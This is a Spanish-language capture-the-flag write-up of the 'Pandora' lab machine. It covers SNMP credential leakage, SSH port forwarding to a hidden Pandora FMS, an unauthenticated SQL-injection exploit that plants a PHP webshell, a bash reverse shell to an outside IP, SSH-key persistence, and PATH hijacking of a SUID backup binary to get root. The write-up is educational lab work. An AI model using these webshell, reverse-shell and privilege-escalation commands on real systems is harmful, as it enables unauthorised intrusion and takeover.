Pandora
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El TCP solo expone SSH y un Apache que resulta ser un rabbit hole. La pista está en UDP: el161corre SNMP con la comunidad por defectopublic, y al volcarlo consnmpbulkwalkse filtran las credencialesdaniel:HotelBabylon23. Por reutilización entramos por SSH comodaniel. Un virtual host solo accesible desdelocalhostesconde Pandora FMS v7.0NG.742; lo sacamos a la luz con port forwarding y lo explotamos con una SQLi no autenticada que sube una webshell y da RCE comomatt(user). Pararoot, un binario SUID propio (pandora_backup) llama atarsin ruta absoluta: PATH hijacking.
Reconocimiento
Ping
Empezamos con un ping para confirmar que el host responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.11.136
64 bytes from 10.10.11.136: icmp_seq=1 ttl=63 time=118 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos (TCP)
Un escaneo completo de los 65535 puertos TCP devuelve solo dos abiertos, 22 y 80:
nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.11.136
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63El escaneo de versiones y scripts básicos sobre ambos puertos confirma un SSH y un Apache recientes, sin nada directamente explotable:
extractPorts, una función del .zshrc, resume el fichero -oG y deja los puertos en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.136
Open ports: 22,80
Ports copied to clipboardnmap -p22,80 -sCV 10.10.11.136
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelPara descartar que alguno de esos servicios corra en un contenedor Docker, cotejamos las versiones exactas en Launchpad (el repositorio de paquetes de Ubuntu): tanto el apache2 2.4.41 como el OpenSSH aparecen subidos al codename Focal (Ubuntu 20.04):

La misma consulta con la cadena exacta del SSH (1:8.2p1-4ubuntu0.3) devuelve el mismo codename:

openssh 1:8.2p1-4ubuntu0.3 source package in Ubuntu
Changelog
openssh (1:8.2p1-4ubuntu0.3) focal; urgency=medium
-- Athos Ribeiro Fri, 23 Jul 2021 09:55:12 -0300
Uploaded to: Focal
Architectures: any all Section: netLos codenames de ambos servicios coinciden (Ubuntu Focal), lo que sugiere que no hay un contenedor Docker de por medio, sino la máquina anfitriona. Cuando el TCP no da vector, conviene mirar el UDP.
Escaneo de puertos UDP
El UDP es lento, así que lo acotamos a los 100 puertos más comunes:
nmap -sU --min-rate 5000 -Pn -n --open --top-ports 100 10.10.11.136 | grep -v 'no-response'
PORT STATE SERVICE REASON
161/udp open snmp udp-response ttl 63Aparece 161/udp (SNMP). Un escaneo dirigido con scripts confirma un servidor SNMPv1/SNMPv3 con la comunidad public y, ya de entrada, deja ver que expone la lista de procesos del sistema (snmp-processes):
nmap -sUCV -p161 10.10.11.136
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-processes:
| 1: Name: systemd Path: /sbin/init
| 2: Name: kthreadd
|_ ...Que SNMP exponga los procesos es la pista clave: si algún proceso arrancó con credenciales en su línea de comando, aparecerán aquí. Lo dejamos anotado y antes terminamos de exprimir el 80.
HTTP - TCP 80 (rabbit hole)
whatweb identifica las tecnologías del sitio y, de paso, un dominio que añadimos a /etc/hosts para el virtual hosting:
whatweb http://10.10.11.136
http://10.10.11.136 [200 OK] Apache[2.4.41], Bootstrap, Email[contact@panda.htb,example@yourmail.com,support@panda.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.136], Title[Play | Landing], probably WordPressWappalyzer, en el navegador, dibuja la misma pila sobre la portada azul de PLAY, y no añade ninguna capa de aplicación: no hay CMS, solo Apache sirviendo una plantilla de Bootstrap.

Web servers: Apache HTTP Server 2.4.41
Operating systems: Ubuntu
UI frameworks: BootstrapEl texto de la portada, además, deja caer el nombre que interesa: PLAY is an extention of Panda.HTB, bringing network monitoring solutions to your doorstep. Esa mención a monitorización de red es la primera pista de lo que se acabará encontrando detrás.
Añadimos panda.htb al /etc/hosts para poder pedir el virtual host por su nombre:
echo '10.10.11.136 panda.htb' | sudo tee -a /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.136 panda.htbCon el dominio resuelto, probamos fuzzing de subdominios. Filtrando por el tamaño de la respuesta base solo sobreviven dos aciertos, y ambos son falsos positivos (respuesta 400):
wfuzz -u http://panda.htb -w subdomains-top1million-110000.txt -H 'Host: FUZZ.panda.htb' -t 200 --hh=33560
ID Response Lines Word Chars Payload
000009532: 400 10 L 35 W 301 Ch "#www"
000010581: 400 10 L 35 W 301 Ch "#mail"Revisamos también el código fuente de la landing, pero solo contiene JavaScript de menú y desplazamiento, nada aprovechable:

Y un descubrimiento de rutas con dirsearch tampoco da fruto:
dirsearch -u http://panda.htb/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://panda.htb/
[21:50:29] 301 - 307B - /assets -> http://panda.htb/assets/
[21:50:55] 200 - 476B - /assets/
Task CompletedEl sitio web es un callejón sin salida. Toca volver a lo que habíamos dejado pendiente: el SNMP.
SNMP - UDP 161 (fuga de credenciales)
SNMP (Simple Network Management Protocol) sirve para monitorizar y gestionar dispositivos de red; cuando usa la community string por defecto public y permite lectura, suele filtrar información del sistema (procesos, usuarios, líneas de comando enteras). Volcamos el árbol con snmpbulkwalk (más rápido que snmpwalk) a un fichero:
snmpbulkwalk -c public -v2c 10.10.11.136 > snmp_enumeration.txt
head -n 10 snmp_enumeration.txt
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64"
iso.3.6.1.2.1.1.4.0 = STRING: "Daniel"
iso.3.6.1.2.1.1.5.0 = STRING: "pandora"
iso.3.6.1.2.1.1.6.0 = STRING: "Mississippi"Entre las primeras líneas asoman palabras llamativas (Daniel, pandora, Mississippi), así que filtramos por ellas:
grep -iE 'daniel|pandora|Mississippi' snmp_enumeration.txt | head -n 10
iso.3.6.1.2.1.25.4.2.1.5.868 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
iso.3.6.1.2.1.25.4.2.1.5.1100 = STRING: "-u daniel -p HotelBabylon23"SNMP había expuesto la línea de comando completa de un proceso que pasaba las credenciales en claro: daniel:HotelBabylon23. Como el SSH está abierto, las probamos ahí.
Shell como daniel
SSH como daniel
ssh daniel@10.10.11.136
daniel@10.10.11.136's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
<SNIP>
daniel@pandora:~$Las credenciales funcionan tal cual: reutilización de las creds filtradas por SNMP. daniel es un usuario sin permisos especiales (la flag de usuario todavía no es suya), así que enumeramos el sistema buscando el siguiente salto.
Shell como matt
Pandora FMS oculto tras localhost
Empezamos por la configuración de Apache. En /etc/apache2/sites-available hay un virtual host revelador:
ls /etc/apache2/sites-available
cat /etc/apache2/sites-available/pandora.conf
curl localhost
<VirtualHost localhost:80>
ServerAdmin admin@panda.htb
ServerName pandora.panda.htb
DocumentRoot /var/www/pandora
AssignUserID matt matt
<Directory /var/www/pandora>
AllowOverride All
</Directory>
</VirtualHost>
# curl localhost
<meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/">Tres datos importantes: el VirtualHost escucha en localhost:80 (no en la IP pública), corre con AssignUserID matt matt (es decir, el servidor web actúa como matt) y un curl localhost devuelve una redirección a /pandora_console/. Es decir, desde dentro de la máquina el 80 sirve un sitio distinto al que veíamos desde fuera. Para acceder a él desde nuestro Kali montamos un reenvío de puerto local por SSH:
ssh daniel@10.10.11.136 -L 80:127.0.0.1:80
# lsof -i:80
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
ssh 19210 root 4u IPv6 57780 0t0 TCP *:http (LISTEN)Ahora http://localhost/pandora_console/ en nuestro navegador carga un panel Pandora FMS, cuya versión es v7.0NG.742:

Pandora FMS v7.0NG.742: SQLi no autenticada → subida de fichero → RCE
Buscando esa versión aparece un exploit público en GitHub, shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated, descrito como una "Unauthenticated SQL injection" que suplanta al administrador y suelta una shell:

El README del repositorio lo asocia a CVE-2021-32099 y confirma la cadena: SQLi no autenticada → robo de sesión de administrador → subida de fichero → RCE:

Esa versión es vulnerable a una inyección SQL no autenticada que permite robar una sesión de administrador y, a partir de ahí, subir un fichero al servidor (RCE). El exploit lo automatiza:
git clone https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated
cd Pandora_v7.0NG.742_exploit_unauthenticated
pip install -r requirements.txt
python3 sqlpwn.py -h
usage: sqlpwn.py [-h] -t TARGET [-f FILENAME]
Exploiting Sqlinjection To impersonate Admin
options:
-h, --help show this help message and exit
-t, --target TARGET Host Ip for the Exploiting with target Port
-f, --filename FILENAME Filename for Shell Upload with php extensionEl script pide la IP del objetivo y un fichero a subir. Creamos una webshell mínima y, para evitar problemas de interpretación, codificamos en URL el one-liner de la reverse shell con Python antes de lanzarlo:
echo '<?php system($_GET["cmd"]); ?>' > webshell.php
python3 -c "import urllib.parse; print(urllib.parse.quote(\"bash -c 'bash -i >& /dev/tcp/10.10.16.6/4444 0>&1'\"))"
sudo nc -nlvp 4444
python3 sqlpwn.py -t 10.10.16.6 -f webshell.php
[+] Sending Injection Payload
[+] Requesting Session
[+] Admin Session Cookie : tur0sh095guascqkjfjobrk66d
[+] Sending Payload
[+] Respose : 200
[+] Pwned :)
[+] If you want manual Control : .../pandora_console/images/webshell.php?test=Al enviar el payload codificado por el parámetro cmd, la webshell ejecuta la reverse shell y entramos como matt (el usuario con el que corría el servidor web, como anticipaba pandora.conf).
La shell de la webshell es inestable, así que dejamos persistencia con un par de claves SSH. Generamos el par en la propia víctima (como matt) y volcamos la clave privada para copiarla a nuestro Kali:
ssh-keygen
cat /home/matt/.ssh/id_rsa
matt@pandora:/var/www/pandora/pandora_console/images$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/matt/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Created directory '/home/matt/.ssh'.
Your identification has been saved in /home/matt/.ssh/id_rsa
Your public key has been saved in /home/matt/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:NZZAY7bvUzbLKPaHvre4SgFtqevqzHI9uIFocvRinSY matt@pandora
matt@pandora:/var/www/pandora/pandora_console/images$ cat /home/matt/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxzU5mhlwhQ+/4cTZPbBPlHQi/r1/SbTnbP+cbSmVA84hjvpZ1+q9
...
-----END OPENSSH PRIVATE KEY-----Autorizamos esa clave añadiendo la pública al authorized_keys de matt:
cd /home/matt/.ssh
cat id_rsa.pub > authorized_keys
chmod 600 authorized_keys
ls -l
matt@pandora:/home/matt$ cd .ssh
matt@pandora:/home/matt/.ssh$ cat id_rsa.pub > authorized_keys
matt@pandora:/home/matt/.ssh$ chmod 600 authorized_keys
matt@pandora:/home/matt/.ssh$ ls -l
total 12
-rw------- 1 matt matt 566 Oct 9 21:45 authorized_keys
-rw------- 1 matt matt 2602 Oct 9 21:44 id_rsa
-rw-r--r-- 1 matt matt 566 Oct 9 21:44 id_rsa.pubCopiamos la clave privada a Kali y entramos limpiamente por SSH como matt:
ssh -i id_rsa matt@10.10.11.136
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
<SNIP>
Last login: Thu Oct 9 21:49:02 2025 from 10.10.16.6
matt@pandora:~$Ya como matt, la flag de usuario:
cat user.txt
fae870c599165839be78209eed70e48dEscalada de privilegios a root
Binario SUID pandora_backup: PATH hijacking
Listamos los binarios SUID. Entre los habituales aparece uno fuera de lo común, pandora_backup:
find / -perm -4000 2>/dev/null
which ltrace
ltrace /usr/bin/pandora_backup
/usr/bin/pandora_backup
...
system("tar -cvf /root/.backup/pandora-b"... tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission deniedltrace deja ver la clave: el binario llama a tar sin ruta absoluta. Como pandora_backup es SUID de root, busca tar recorriendo el PATH; si anteponemos un directorio nuestro con un tar falso, se ejecutará como root. Es un PATH hijacking de manual:
cd /tmp
echo 'chmod u+s /bin/bash' > tar
chmod +x tar
export PATH=/tmp:$PATH
/usr/bin/pandora_backup
ls -l /bin/bash
bash -p
id
Backup successful!
-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
uid=1000(matt) gid=1000(matt) euid=0(root) groups=1000(matt)El tar falso (que hace chmod u+s /bin/bash) corre con privilegios de root, deja /bin/bash con bit SUID, y bash -p (que conserva el euid elevado) abre una shell con euid=0(root). La flag final:
cat /root/root.txt
dc25e384792744d3b1446a877801e40bCadena de ataque
nmap TCP (22, 80) → web = rabbit hole → nmap UDP (161 SNMP)
└─> snmpbulkwalk -c public → fuga: daniel:HotelBabylon23
└─> reutilización → ssh daniel
└─> pandora.conf: vhost solo en localhost (AssignUserID matt)
└─> ssh -L 80:127.0.0.1:80 → Pandora FMS v7.0NG.742
└─> SQLi no autenticada (sqlpwn.py) → webshell → RCE como matt (user.txt)
└─> SUID pandora_backup → tar sin ruta absoluta
└─> PATH hijacking → bash -p → root (root.txt)Lecciones aprendidas
- No olvidar UDP. El TCP solo daba un SSH y una web rabbit hole; toda la cadena dependía de escanear UDP y encontrar
161/udp. Un escaneo UDP acotado (--top-ports) por costumbre evita el atasco. - SNMP con
publices una fuga de información. La comunidad por defecto y lectura habilitada expusieron la línea de comando completa de un proceso, con la contraseña en claro. La enumeración SNMP sigue dando credenciales en cajas reales más a menudo de lo que parece. - Las credenciales se reutilizan. Las creds filtradas por SNMP servían tal cual para SSH: el patrón reutilización de credenciales una vez más.
- Lo que solo escucha en
localhostno es invisible. Un servicio vulnerable atado a127.0.0.1deja de estar protegido en cuanto se tiene un punto de apoyo: el reenvío de puertos lo trae hasta el atacante. - Un binario SUID propio es superficie de ataque.
pandora_backupinvocabatarpor nombre; llamar a los binarios por ruta absoluta desde código privilegiado habría cerrado el PATH hijacking.